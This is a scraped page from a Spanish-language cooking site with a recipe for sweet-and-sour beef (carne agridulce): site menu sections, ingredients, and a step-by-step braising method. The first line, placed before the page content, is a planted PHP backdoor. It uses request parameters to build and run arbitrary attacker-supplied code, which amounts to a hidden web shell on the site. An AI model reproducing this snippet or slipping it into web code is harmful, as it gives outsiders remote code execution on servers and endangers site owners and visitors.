if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['4417120a8200cdfb2b17d13666363d5b']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Cocineros de Verdad » Carne agridulce
entradas

¡Para ir calmando el apetito!

plato principal

¡A comer!

postres y repostería

Cosas dulces para cualquier ocasión

videos

Todos los videos de cocineros de verdad a un solo click

cocina étnica

¡Conocé la cocina de verdad del mundo!

Lugares

¡Para salirnos del circuito usual!

Ceremonial y Protocolo

De la mano de Marcela Cicero

Notas

Para aprender y compartir

Técnicas y Tips

¡Los secretos para hacer cosas ricas!

Vinos y Bebidas

Para acompañar todo lo demás

Home » Plato Principal, Recetas

Carne agridulce

Publicado por on Sábado, 22 marzo 2008Sin comentario
Carne agridulce

Ingredientes:

700 gr. de morcillo de ternera
Cebollas
50 gr. de panceta
1/2 vaso de vino tinto
1/2 lata de 400 gr. de tomate
caldo
1 cucharada de harina
2 cucharadas de azúcar
1/2 vaso de vinagre
Sal
1 limón
Pimienta 

Procedimiento:
  • Atar la carne.
  • Picar la panceta y rehogarla ligeramente en el aceite caliente.
  • Incorporar la carne al sofrito y dejarla dorar por todos lados a fuego vivo.
  • Picar las cebollas  y repartirlas sobre la carne.
  • Regarlas con el vino y removerlo bien, también a fuego fuerte, y dejar que el vino se evapore.
  • En cuanto las cebollas estén doradas, echar los tomates, la sal y la pimienta.
  • Taparlo, bajar el fuego y cocerlo durante unas 2 horas.
  • Ya cocida la carne, retirarla y reservarla caliente.
  • Pasar la salsa por un colador chino, o de fideos, si no tenemos, y devolverla a la cacerola.
  • Agregarle la harina disuelta en caldo y dejar espesar la salsa sin dejar de remover para evitar la formación de grumos. Poner en un cuenco el azúcar, diluido con el vinagre y verter la mezcla en la salsa.
  • Agregar la corteza del limón rallada, removerla y dejar cocer unos instantes.
  • Servir la carne cortada en fetas, con la salsa por encima y como guarnición podemos hacer una pasta o, simplemente, arroz blanco.

    • Esta receta rinde para cuatro personas